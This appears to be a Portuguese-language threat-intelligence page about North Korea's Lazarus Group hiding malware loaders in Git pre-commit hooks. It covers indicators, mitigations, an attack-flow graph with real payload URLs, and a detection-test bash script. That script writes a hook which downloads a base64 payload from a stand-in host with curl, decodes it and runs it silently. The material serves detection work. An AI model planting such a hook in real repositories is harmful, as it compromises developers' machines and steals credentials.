SOC Prime Bias: Crítico

13 Mai 2026 21:59

Grupo Lazarus Usa Ganhos do Git para Esconder Malware Entrevista Contagiosa da RPDC e a Campanha TaskJacker agora esconde seu carregador de segundo estágio dentro de ganchos Git que baixam os malwares InvisibleFerret e Beavertail

Author Photo
Ruslan Mikhalov Chefe de Pesquisa de Ameaças na SOC Prime linkedin icon Seguir
Grupo Lazarus Usa Ganhos do Git para Esconder Malware Entrevista Contagiosa da RPDC e a Campanha TaskJacker agora esconde seu carregador de segundo estágio dentro de ganchos Git que baixam os malwares InvisibleFerret e Beavertail
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

O Grupo Lazarus da Coreia do Norte atualizou sua campanha Contagious Interview e TaskJacker ao incorporar um mecanismo de entrega de segunda fase dentro de um Git malicioso pré-compromisso and pós-checkout hooks. Esses hooks recuperam silenciosamente cargas úteis específicas da plataforma de uma URL hospedada na Vercel e executam-nas em sistemas macOS, Linux e Windows. Ao abusar de fluxos de trabalho de desenvolvedores confiáveis e ferramentas de repositório, os atacantes transformam tarefas rotineiras de codificação em um vetor de comprometimento da cadeia de suprimentos que pode levar ao roubo de credenciais e comprometimento de carteiras de criptomoedas. Principais indicadores incluem o malicioso .githooks/pre-commit script e infraestrutura hospedada em precommit.vercel.app.

Investigação

Pesquisadores da OpenSourceMalware identificaram um compacto .githooks/pre-commit script que detecta o sistema operacional da vítima e baixa a carga útil apropriada de precommit.vercel.app usando curl or wget. O mesmo hash do script apareceu em múltiplos repositórios do GitHub disfarçados como projetos de avaliação de codificação ligados a temas de criptomoeda e DeFi. A infraestrutura fornecia diferentes cargas úteis de shell ou batch dependendo do sistema operacional, controladas por um parâmetro de consulta baseado em flags. Os pesquisadores também compartilharam consultas de busca de código do GitHub que podem ser usadas para reproduzir a busca e localizar repositórios semelhantes.

Mitigação

As organizações devem revisar cuidadosamente os hooks de repositório Git, especialmente os arquivos em .githooks, .husky, e .vscode/tasks.json, antes de permitir sua execução. Os desenvolvedores devem clonar e testar repositórios não confiáveis apenas em ambientes isolados que não contenham chaves SSH, arquivos de carteiras ou perfis de navegador ativos. A execução automática de hooks Git deve ser desativada, onde possível, ou limitada a scripts aprovados. As equipes de segurança também devem monitorar o tráfego de saída para precommit.vercel.app e domínios semelhantes que podem suportar a entrega de cargas maliciosas.

Resposta

Os defensores devem bloquear a comunicação de rede com precommit.vercel.app e criar monitoramento de integridade de arquivos para .githooks/pre-commit arquivos inesperados. Alertas também devem ser acionados quando curl or wget é executado a partir de processos relacionados a hooks do Git. Quaisquer credenciais, tokens ou carteiras de criptomoeda potencialmente expostas devem ser investigadas e rotacionadas imediatamente. A caça a ameaças deve ser expandida usando os indicadores fornecidos para identificar repositórios afetados e quaisquer sistemas que interagiram com eles.

"graph TB %% Definições de classe classDef technique fill:#ffcc99 classDef tool fill:#c2e0ff classDef artifact fill:#e6e6e6 classDef action fill:#ffd9b3 %% Nós – Ações action_clone["<b>Ação</b> – Vítima clona repositório malicioso<br/><b>Descrição</b>: Faz download de código contendo um hook Git malicioso."] class action_clone action action_commit["<b>Ação</b> – Vítima executa <code>git commit</code><br/><b>Descrição</b>: Aciona automaticamente o hook pré-compromisso."] class action_commit action %% Nós – Artefatos artifact_repo["<b>Artefato</b> – Repositório Git malicioso<br/><b>Detalhes</b>: Fornece material falso de entrevista de avaliação de codificação."] class artifact_repo artifact artifact_hook["<b>Artefato</b> – script .githooks/pre-compromisso<br/><b>Detalhes</b>: Executado automaticamente em cada <code>git commit</code>."] class artifact_hook artifact artifact_urls["<b>Artefato</b> – URLs de carga útil remota<br/><b>Detalhes</b>: https://precommit.vercel.app/settings/mac?flag=5<br/>https://precommit.vercel.app/settings/linux?flag=5<br/>https://precommit.vercel.app/settings/windows?flag=5"] class artifact_urls artifact %% Nós – Técnicas tech_supply_chain["<b>Técnica</b> – T1195: Comprometimento da Cadeia de Suprimentos<br/><b>Descrição</b>: Adversários comprometem uma cadeia de suprimentos de software de terceiros para distribuir código malicioso às vítimas."] class tech_supply_chain technique tech_dependency["<b>Técnica</b> – T1195.001: Comprometer Dependências de Software e Ferramentas de Desenvolvimento<br/><b>Descrição</b>: Alvejar dependências de software ou ferramentas de desenvolvimento para incorporar código malicioso."] class tech_dependency technique tech_proxy_exec["<b>Técnica</b> – T1127: Execução por Proxy de Utilitários de Desenvolvedores Confiáveis<br/><b>Descrição</b>: Usar utilitários de desenvolvedores confiáveis (por exemplo, hooks Git) para executar código controlado pelo atacante."] class tech_proxy_exec technique tech_unix_shell["<b>Técnica</b> – T1059.004: Comando e Interpretador de Scripts – Unix Shell<br/><b>Descrição</b>: Executar comandos via interpretador de shell Unix."] class tech_unix_shell technique tech_user_exec["<b>Técnica</b> – T1204.004: Execução pelo Usuário – Cópia e Colagem Maliciosa<br/><b>Descrição</b>: Vítima executa código malicioso inadvertidamente por meio de ações de copiar e colar."] class tech_user_exec technique tech_taint["<b>Técnica</b> – T1080: Contaminar Conteúdo Compartilhado<br/><b>Descrição</b>: Incorporar conteúdo malicioso em recursos compartilhados que são posteriormente executados pelas vítimas."] class tech_taint technique tech_content_injection["<b>Técnica</b> – T1659: Injeção de Conteúdo<br/><b>Descrição</b>: Inserir conteúdo malicioso em arquivos legítimos ou fluxos de dados."] class tech_content_injection technique %% Nós – Ferramentas tool_git["<b>Ferramenta</b> – Git<br/><b>Descrição</b>: Sistema de controle de versão que executa scripts de hooks em eventos de repositório."] class tool_git tool tool_curl["<b>Ferramenta</b> – curl / wget<br/><b>Descrição</b>: Baixa conteúdo remoto via HTTP/HTTPS."] class tool_curl tool tool_sh["<b>Ferramenta</b> – /bin/sh<br/><b>Descrição</b>: Interpretador de shell usado para executar cargas úteis baixadas."] class tool_sh tool %% Conexões – Fluxo de Ataque action_clone –>|entrega| artifact_repo artifact_repo –>|habilita| tech_supply_chain tech_supply_chain –>|facilita| tech_dependency tech_dependency –>|posiciona| artifact_hook action_commit –>|aciona| artifact_hook artifact_hook –>|aproveita| tech_proxy_exec tech_proxy_exec –>|executa via| tool_git tool_git –>|invoca| tech_unix_shell tech_unix_shell –>|usa| tool_curl tool_curl –>|baixa| artifact_urls artifact_urls –>|fornece para| tech_taint tech_taint –>|conduz a| tech_content_injection tech_content_injection –>|executa via| tool_sh tool_sh –>|executa carga útil maliciosa| tech_user_exec "

Fluxo de Ataque

Execução de Simulação

Pré-requisito: O Check de Pré-Voo de Telemetria e Linha de Base deve ter sido concluído.

Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.

  • Narrativa & Comandos do Ataque:
    Um operador do Grupo Lazarus compromete a estação de trabalho de um desenvolvedor e injeta um hook pré-compromisso Git malicioso. O hook é colocado em um diretório “.githooks” oculto para evitar a descoberta casual. Quando qualquer git commit é executado, o hook contata silenciosamente um servidor C2, baixa uma carga útil codificada em base64, grava-a em /tmp/.payload, torna-a executável, e a executa, estabelecendo assim uma vantagem (T1620) e executando uma carga útil maliciosa incorporada (T1027.009).

  • Script de Teste de Regressão:

    #!/bin/bash
    # -------------------------------------------------
    # Teste de hook pré-compromisso malicioso ao estilo Lazarus
    # -------------------------------------------------
    
    # 1. Criar diretório oculto .githooks
    mkdir -p "$HOME/.githooks"
    
    # 2. Escrever hook pré-compromisso malicioso
    cat > "$HOME/.githooks/pre-commit" <<'EOF'
    #!/bin/bash
    # Hook pré-compromisso malicioso – baixa e executa carga útil
    C2_URL="http://malicious.example.com/payload.b64"
    TMPFILE="/tmp/.payload"
    
    # Baixar carga útil base64
    curl -s -o "$TMPFILE.b64" "$C2_URL"
    # Decodificar e definir como executável
    base64 -d "$TMPFILE.b64" > "$TMPFILE"
    chmod +x "$TMPFILE"
    # Executar carga útil silenciosamente
    "$TMPFILE" &
    exit 0
    EOF
    
    # 3. Tornar o hook executável
    chmod +x "$HOME/.githooks/pre-commit"
    
    # 4. Simular um commit git para disparar o hook
    mkdir -p "$HOME/malicious-repo"
    cd "$HOME/malicious-repo"
    git init > /dev/null 2>&1
    touch README.md
    git add README.md
    git commit -m "Commit inicial" > /dev/null 2>&1
    
    echo "Hook pré-compromisso malicioso executado (se a detecção funcionar, deve aparecer um alerta)."
  • Comandos de Limpeza:

    #!/bin/bash
    # Remover artefatos maliciosos
    rm -rf "$HOME/.githooks"
    rm -f "/tmp/.payload" "/tmp/.payload.b64"
    rm -rf "$HOME/malicious-repo"
    echo "Limpeza completa."